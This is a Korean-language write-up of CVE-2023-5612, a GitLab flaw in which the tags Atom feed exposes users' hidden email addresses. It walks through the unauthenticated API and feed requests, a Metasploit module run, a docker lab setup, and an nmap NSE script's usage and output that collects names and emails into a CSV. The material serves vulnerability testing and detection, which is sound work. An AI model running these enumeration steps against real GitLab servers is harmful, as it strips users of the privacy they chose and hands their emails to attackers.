Tags RSS 피드에서 공개 이메일 노출

https://about.gitlab.com/releases/2024/01/25/critical-security-release-gitlab-16-8-1-released/

An issue has been discovered in GitLab affecting all versions before 16.6.6, 16.7 prior to 16.7.4, and 16.8 prior to 16.8.1. It was possible to read the user email address via tags feed although the visibility in the user profile has been disabled. This is a medium severity issue (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N, 5.3). It is now mitigated in the latest release and is assigned CVE-2023-5612.

https://nvd.nist.gov/vuln/detail/CVE-2023-5612

An issue has been discovered in GitLab affecting all versions before 16.6.6, 16.7 prior to 16.7.4, and 16.8 prior to 16.8.1. It was possible to read the user email address via tags feed although the visibility in the user profile has been disabled.

설명

GitLab에서 일부 사용자가 프로필을 숨겼더라도 사용자의 이메일(및 이름) 목록을 얻을 수 있는 취약점이 발견되었습니다. 이는 /api/v4/projects 엔드포인트에 인증 없이 접근할 수 있기 때문에 발생합니다. 각 프로젝트에 대해 web_url을 가져와 /-/tags?format=atom 엔드포인트로 요청을 보내면, 응답으로 받은 xml에서 사용자의 이름과 이메일을 확인할 수 있습니다:

...
    <name>test</name>
    <email>[email protected]</email>
...

NSE 개발

PoC:

주의할 점: nse-스크립트가 이 취약점을 위한 것처럼 보이지만, 이름과 내용을 자세히 살펴보면 오류이며 이 CVE와 관련이 없다는 것이 분명합니다.

알고리즘:

사용 가능한 모든 프로젝트의 이름을 가져옵니다:

GET /api/v4/projects?output_mode=json HTTP/1.1

응답 예시:

[{"id":3,"description":null,"name":"project3","name_with_namespace":"test / project3","path":"project3","path_with_namespace":"test/project3","created_at":"2025-09-13T16:39:05.885Z","default_branch":"main","tag_list":[],"topics":[],"ssh_url_to_repo":"ssh://git@localhost:2424/test/project3.git","http_url_to_repo":"http://localhost:8929/test/project3.git","web_url":"http://localhost:8929/test/project3","readme_url":"http://localhost:8929/test/project3/-/blob/main/README.md","forks_count":0,"avatar_url":null,"star_count":0,"last_activity_at":"2025-09-13T16:39:05.885Z","namespace":{"id":4,"name":"test","path":"test","kind":"user","full_path":"test","parent_id":null,"avatar_url":"https://www.gravatar.com/avatar/b642b4217b34b1e8d3bd915fc65c4452?s=80\u0026d=identicon","web_url":"http://localhost:8929/test"}},{"id":2,"description":null,"name":"project2","name_with_namespace":"testgroup / project2","path":"project2","path_with_namespace":"testgroup/project2","created_at":"2025-09-13T16:35:26.979Z","default_branch":"main","tag_list":[],"topics":[],"ssh_url_to_repo":"ssh://git@localhost:2424/testgroup/project2.git","http_url_to_repo":"http://localhost:8929/testgroup/project2.git","web_url":"http://localhost:8929/testgroup/project2","readme_url":"http://localhost:8929/testgroup/project2/-/blob/main/README.md","forks_count":0,"avatar_url":null,"star_count":0,"last_activity_at":"2025-09-13T16:35:26.979Z","namespace":{"id":3,"name":"testgroup","path":"testgroup","kind":"group","full_path":"testgroup","parent_id":null,"avatar_url":null,"web_url":"http://localhost:8929/groups/testgroup"}},{"id":1,"description":null,"name":"test","name_with_namespace":"Administrator / test","path":"test","path_with_namespace":"root/test","created_at":"2025-09-12T15:03:47.319Z","default_branch":"main","tag_list":[],"topics":[],"ssh_url_to_repo":"ssh://git@localhost:2424/root/test.git","http_url_to_repo":"http://localhost:8929/root/test.git","web_url":"http://localhost:8929/root/test","readme_url":"http://localhost:8929/root/test/-/blob/main/README.md","forks_count":0,"avatar_url":null,"star_count":0,"last_activity_at":"2025-09-13T16:19:10.901Z","namespace":{"id":1,"name":"Administrator","path":"root","kind":"user","full_path":"root","parent_id":null,"avatar_url":"https://www.gravatar.com/avatar/e64c7d89f26bd1972efa854d13d7dd61?s=80\u0026d=identicon","web_url":"http://localhost:8929/root"}}]

각 프로젝트에 대해 atom-xml 형식으로 태그를 가져옵니다:

GET /test/project3/-/tags?format=atom HTTP/1.1
GET /root/test/-/tags?format=atom HTTP/1.1

응답 예시:

<?xml version="1.0" encoding="UTF-8"?>
<feed xmlns="http://www.w3.org/2005/Atom" xmlns:media="http://search.yahoo.com/mrss/">
<title>project3 tags</title>
<link href="http://127.0.0.1:8929/test/project3/-/tags?format=atom" rel="self" type="application/atom+xml"/>
<link href="http://127.0.0.1:8929/test/project3/-/tags" rel="alternate" type="text/html"/>
<id>http://127.0.0.1:8929/test/project3/-/tags</id>
<entry>
  <id>http://127.0.0.1:8929/test/project3/-/tags/1.0.0</id>
  <link href="http://127.0.0.1:8929/test/project3/-/tags/1.0.0"/>
  <title>1.0.0</title>
  <summary></summary>
  <content type="html"></content>
  <media:thumbnail width="40" height="40" url="https://www.gravatar.com/avatar/b642b4217b34b1e8d3bd915fc65c4452?s=80&amp;d=identicon"/>
  <author>
    <name>test</name>
    <email>[email protected]</email>
  </author>
</entry>
</feed>

이 파일에서 우리는 해당 프로젝트의 모든 태그 작성자의 name, email 필드를 볼 수 있습니다. 이 정보가 공격자에게 노출되는 것이 바로 이 취약점의 핵심입니다.

성공적인 악용 예시:

# Metasploit
use auxiliary/gather/gitlab_tags_rss_feed_email_disclosure
set RHOSTS 127.0.0.1
set RPORT 8929
run

결과:

auxiliary(gather/gitlab_tags_rss_feed_email_disclosure) > run
[*] Running module against 127.0.0.1
[+] Scraping ALL projects...
[+] name: test
[+] e-mail: [email protected]
[+] name: Administrator
[+] e-mail: [email protected]
[*] Auxiliary module execution completed

NSE 테스트

확인은 GitLab CE 16.5.10에서 수행되었습니다.

`docker-compose.yml`

services:
  gitlab:
    image: gitlab/gitlab-ce:16.5.10-ce.0
    container_name: gitlab-ce
    restart: always
    hostname: 'gitlab.example.com'
    environment:
      GITLAB_OMNIBUS_CONFIG: |
        external_url 'http://localhost:8929'
        gitlab_rails['gitlab_shell_ssh_port'] = 2424
    ports:
      - '8929:8929'
      - '443:443'
      - '2424:22'
    volumes:
      - '$GITLAB_HOME/config:/etc/gitlab'
      - '$GITLAB_HOME/logs:/var/log/gitlab'
      - '$GITLAB_HOME/data:/var/opt/gitlab'
    shm_size: '256m'

실행 및 테스트 환경 준비

취약한 gitlab-ce를 docker에서 실행합니다:

sudo docker compose up
sudo docker exec -it {CONTAINER_ID} grep 'Password:' /etc/gitlab/initial_root_password
# Do not decode the showed base64 value, just use it as is
# Change root's creds to smth like root:toortoor

준비합니다:

root로 로그인
프로젝트 생성
root 명의로 프로젝트에 태그 생성
test 사용자를 생성하고 test로 로그인
test 명의로 프로젝트 생성
test 명의로 프로젝트에 태그 생성

스크립트를 실행합니다:

# full scan
nmap --script cve-2023-5612 <TARGET> -p <PORT>
nmap --script cve-2023-5612 <TARGET> -p <PORT> --script-args check_mode=full
# fast scan
nmap --script cve-2023-5612 <TARGET> -p <PORT> --script-args check_mode=fast

성공적인 악용 예시:

nmap -Pn --script cve-2023-5612 localhost -p 8929 --script-args check_mode=full
Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-14 16:39 MSK
####### CVE-2023-5612 #######
[+] Checking target...
[+] Checking for vulnerability...
[+] Projects found:
        http://localhost:8929/test/project3
        http://localhost:8929/testgroup/project2
        http://localhost:8929/root/test
[+] Results:
        email,username,project_url
        [email protected],test,http://localhost:8929/test/project3
        [email protected],Administrator,http://localhost:8929/testgroup/project2
        [email protected],Administrator,http://localhost:8929/root/test
[+] Writing results to ./gitlab_enumerated.csv...
[+] Done
#############################

Nmap scan report for localhost (127.0.0.1)
Host is up (0.00013s latency).
Other addresses for localhost (not scanned): ::1

PORT     STATE SERVICE
8929/tcp open  unknown

Nmap done: 1 IP address (1 host up) scanned in 1.64 seconds
# view saved results, show only emails
tail -n +2 gitlab_enumerated.csv | cut -d "," -f 1| sort -u
[email protected]
[email protected]

GitLab이 아닌 대상에 대한 실패한 악용 예시:

nmap --script cve-2023-5612 localhost -p 1337
Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-14 06:35 MSK
####### CVE-2023-5612 #######
[+] Checking target...
[-] Error: The target is not a GitLab instance. Exiting...
#############################
Nmap scan report for localhost (127.0.0.1)
Host is up (0.00012s latency).
Other addresses for localhost (not scanned): ::1

PORT     STATE SERVICE
1337/tcp open  waste

Nmap done: 1 IP address (1 host up) scanned in 0.20 seconds

실제 취약하지 않은 대상에 대한 악용 예시:

nmap -Pn -p 7180 --script cve-2023-5612 <IP-addr> --script-args check_mode=fast
Starting Nmap 7.95 ( https://nmap.org ) at 2025-09-14 16:37 MSK
####### CVE-2023-5612 #######
[+] Checking target...
[+] Checking for vulnerability...
[-] Projects list seems to be empty or unavailable
[-] Target is NOT vulnerable
#############################

CVE-2023-5612

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